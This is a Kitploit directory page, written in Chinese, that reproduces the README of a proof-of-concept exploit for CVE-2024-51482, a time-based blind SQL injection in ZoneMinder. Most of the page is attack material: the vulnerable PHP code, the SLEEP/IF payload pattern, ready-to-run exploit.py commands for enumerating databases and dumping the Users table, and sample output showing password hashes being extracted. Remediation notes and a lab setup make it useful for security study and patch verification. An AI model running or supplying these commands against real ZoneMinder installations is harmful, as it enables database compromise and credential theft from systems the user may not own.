Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-51482-POC — 基于时间的SQL注入PoC,针对ZoneMinder中的CVE-2024-51482,附带可复现的Docker实验室和自动化数据提取。 | Kitploit
工具/GitHubGitHub/0xdaeras/cve-2024-51482-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全实验室与实践
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

基于时间的SQL注入PoC,针对ZoneMinder中的CVE-2024-51482,附带可复现的Docker实验室和自动化数据提取。

查看仓库
764个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ZoneMinder 认证后基于时间的 SQLi 概念验证 - CVE-2024-51482

CVE-1 CVSS Python

⚠️ 仅用于教育和授权的安全研究。 针对你不拥有或缺乏书面许可的系统运行此工具是非法的。


目录

  • ZoneMinder 认证后基于时间的 SQLi 概念验证 - CVE-2024-51482
    • 目录
    • 概述
    • 漏洞详情
      • CVE-2024-51482 — 基于时间的盲 SQL 注入
      • 根本原因
      • 攻击流程
    • 仓库结构
    • 要求
    • 安装
      • PoC
      • Docker 实验环境
    • 用法
      • 默认行为
      • 帮助屏幕
      • 命令
  • 输出选项
  • 标志参考
  • 完整示例
  • 注意事项
  • Docker 实验环境
  • 示例输出
  • 修复建议
    • 针对此 CVE
    • 针对类似漏洞
  • 披露时间线
  • 参考

  • 概述

    本仓库包含一个针对 ZoneMinder 的基于时间的 SQL 注入 PoC。

    该工具支持:

    • 漏洞验证
    • 数据库枚举
    • 表与列发现
    • 完整表数据导出
    • CSV 导出

    同时还包含一个完全可重现的 Docker 实验环境,用于安全测试。


    漏洞详情

    CVE-2024-51482 — 基于时间的盲 SQL 注入

    • CVE ID: CVE-2024-51482
    • CVSS v3.1 评分: 10.0(严重)
    • 漏洞类型: 基于时间的盲 SQL 注入
    • 受影响版本: ZoneMinder v1.37.* <= 1.37.64
    • 攻击向量: 认证端点 (removetag)
    • 影响: 全数据库泄露,数据完整性受损
    • 需要认证: 是(低权限用户即可)

    根本原因

    ZoneMinder 是一款免费的开源闭路电视软件应用程序。该漏洞源于 ZoneMinder 的 removetag 端点对输入验证不足。用户提供的输入直接被拼接到 SQL 查询中,没有进行合适的清理或参数化,攻击者可借此注入恶意的基于布尔值的 SQL 载荷。利用手法采用:

    root@kitploit:~
    SLEEP(x - IF(condition, 0, x))
    

    通过响应时间推断数据。

    来自 GitHub 维护者安全公告 的完整漏洞代码片段:

    root@kitploit:~
    case 'removetag' :
        $tagId = $_REQUEST['tid'];
        dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
        $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
        $rowCount = dbNumRows($sql);
        if ($rowCount < 1) {
          $sql = 'DELETE FROM Tags WHERE Id = ?';
          $values = array($_REQUEST['tid']);
          $response = dbNumRows($sql, $values);
          ajaxResponse(array('response'=>$response));
        }
    

    攻击流程

    root@kitploit:~
    攻击者                              ZoneMinder Web 应用
       │                                         │
       │  [认证]                                  │
       │  POST /zm/index.php                      │
       │  {username, password}                    │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  200 OK + Set-Cookie: ZMSESSID=...      │  ← 已认证会话
       │                                         │
       │  [CVE-2024-51482]                       │
       │  GET /zm/index.php                      │
       │  ?view=request&request=event            │
       │  &action=removetag&tid=<载荷>           │
       │────────────────────────────────────────►│
       │                               SQL 布尔查询执行
       │                               IF(condition, 无延迟, SLEEP)
       │◄────────────────────────────────────────│
       │  延迟响应(时间判定)                    │  ← 推断条件
       │                                         │
       │  重复请求                               │
       │  ASCII(SUBSTRING(query,pos,1))          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  时间差异揭示字符                        │
       │                                         │
       │  每字符二分查找                          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  提取的数据(每次一个字符)              │
       │                                         │
       │  SELECT Username, Password FROM Users   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  完整数据库泄露                          │
       │                                         │
       ✓  通过盲 SQLi 完成数据窃取
    

    仓库结构

    root@kitploit:~
    CVE-2024-51482/
    ├── exploit.py
    ├── README.md
    ├── requirements.txt
    ├── docker-compose.yml
    ├── .env.example
    ├── docker/
    │   ├── Dockerfile
    │   └── entrypoint.sh
    └── logs/
    

    要求

    • Python 3.8+
    • requests
    • Docker 和 docker-compose(用于实验环境)

    安装

    PoC

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    pip install -r requirements.txt
    

    Docker 实验环境

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    cp .env.example .env  # 配置环境变量
    docker compose up -d
    

    用法

    默认行为

    不带任何标志时,工具会向目标认证,检查漏洞,如果存在漏洞,则从 zm.Users 表导出 ID、Username、Password、Name 和 Email 列(dump-users 命令)。

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password>
    

    帮助屏幕

    root@kitploit:~
    python exploit.py -h
    

    命令

    check

    仅检查目标是否易受攻击。

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> check
    

    dump-users

    导出 zm.Users 表中的 ID、Username、Password、Name 和 Email 列。如果未指定命令,则为默认命令。

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-users
    

    list-db

    列出所有数据库。

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-db
    

    list-tables

    列出指定数据库中的表。

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
    

    list-columns

    列出指定表中的列。

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
    

    dump-table

    导出指定表中的所有数据。

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
    

    你也可以指定要导出的列(默认导出所有列):

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
    

    输出选项

    禁用终端输出

    root@kitploit:~
    --no-display
    

    导出为 CSV

    如果文件不存在,则会创建。如果已存在,新结果将追加到文件末尾。

    root@kitploit:~
    --outfile results.csv
    

    标志参考

    目标与认证

    标志描述示例
    -t, --target目标基础 URL-t http://localhost:8080
    -u, --user认证用户名-u admin
    -p, --password认证密码-p admin
    --cookie使用已有的 ZMSESSID cookie 代替登录--cookie abc123...

    核心命令

    命令描述示例
    check测试目标是否易受攻击(基于时间的 SQLi)check
    dump-users直接导出 zm.Users 表dump-users
    list-db列出所有数据库list-db
    list-tables列出数据库中的表list-tables --db zm
    list-columns列出表中的列list-columns --db zm --table Users
    dump-table导出指定表dump-table --db zm --table Users

    命令选项

    标志描述必需性示例
    --db数据库名称是(用于表/列操作)--db zm
    --table表名是(用于列/导出操作)--table Users
    --columns逗号分隔的要导出的列可选--columns Username,Password

    性能与利用

    标志描述默认值示例
    --threads并发提取线程数5--threads 6
    --delay基于时间的 SQLi 所用的延迟3--delay 2
    --no-check利用前跳过漏洞检查False--no-check

    输出选项

    标志描述示例
    --outfile将输出保存到 CSV 文件--outfile results.csv
    --no-display禁用终端输出--no-display

    日志与显示

    标志描述默认值示例
    -v, --verbose启用调试日志False-v
    --log-file日志文件路径logs/exploit.log--log-file out.log
    --no-color禁用彩色输出False--no-color

    完整示例

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8080 \
      -u admin -p admin \
      dump-table \
      --db zm \
      --table Users \
      --columns Username,Password \
      --threads 6 \
      --delay 2 \
      --outfile dump.csv
    

    注意事项

    • 所有命令都需要认证(cookie 或凭据)。
    • dump-users 是导出 zm.Users 表的快捷方式。
    • 多线程可显著加速提取,但会增加目标负载。5 个线程和 3 秒延迟是安全默认值。请谨慎使用自定义值。
    • CSV 输出支持结构化数据和扁平数据(例如数据库列表与完整表导出)。
    • 仅在你确信目标存在漏洞时才使用 --no-check。

    Docker 实验环境

    附带的 docker-compose.yml 设置了一个易受攻击的 ZoneMinder 实例。

    root@kitploit:~
    cp .env.example .env  # 配置环境变量
    docker compose up -d
    

    通过 http://localhost:8080/(或自定义端口)访问 Web 界面。默认凭据为 admin:admin。然后你可以对这个本地实例运行利用工具进行测试。


    示例输出

    root@kitploit:~
    $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                       
    _________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
    \_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
    /    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
    \     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
     \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
            \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                       
    
    [∗] 目标 URL: http://localhost:8080/
    [∗] 模块: dump-table
    [∗] 输出将保存到: ./out.csv
    
    [∗] 尝试使用用户名/密码认证登录
     🡲  凭据: admin:admin
    [+] 成功以用户 admin 身份认证
    
    [∗] 测试目标漏洞...
    [+] 目标似乎存在漏洞(响应时间表明注入成功)。
    
    [∗] 正在导出表 zm.Users 的内容...
    [+] 找到列: Username, Password
    [∗] 获取表中的行数...
    [+] 表包含 2 行。开始导出...
    
    [∗] 进度: 5/5 | admin
    [∗] 进度: 60/60 | $2h$12$NHZs...
    [+] 获取行 1: admin, $2h$12$NHZs...
    
    [∗] 进度: 4/4 | flag
    [∗] 进度: 60/60 | $2y$10$1Ei....
    [+] 获取行 2: flag, $2y$10$1Ei....
    
    +----------+----------------+
    | Username | Password       |
    +----------+----------------+
    | admin    | $2h$12$NHZs... |
    | flag     | $2y$10$1Ei.... |
    +----------+----------------+
    
    [+] 结果已写入 ./out.csv
    [+] 工作完成。再见!
    

    修复建议

    针对此 CVE

    • 更新到 ZoneMinder v1.37.65 或更高版本,该版本包含对 CVE-2024-51482 的修复。

    针对类似漏洞

    • 对所有用户提供的数据实施正确的输入验证和清理。
    • 使用参数化查询或预编译语句以防止 SQL 注入。

    披露时间线

    • 2024-10-31: 用户 Entropt 和用户 connortechnology 在 ZoneMinder GitHub 上公开披露了该漏洞。
    • 2024-11-01: 补丁已提交 到 ZoneMinder 仓库。
    • 2025-02-13: 版本 1.37.65 被标记。

    参考

    • CVE-2024-51482 详情
    • NIST NVD 条目
    • ZoneMinder 官方网站
    • ZoneMinder GitHub 维护者安全公告
    • ZoneMinder GitHub 中的修复提交
    • OWASP SQL 注入预防速查表
    下载工具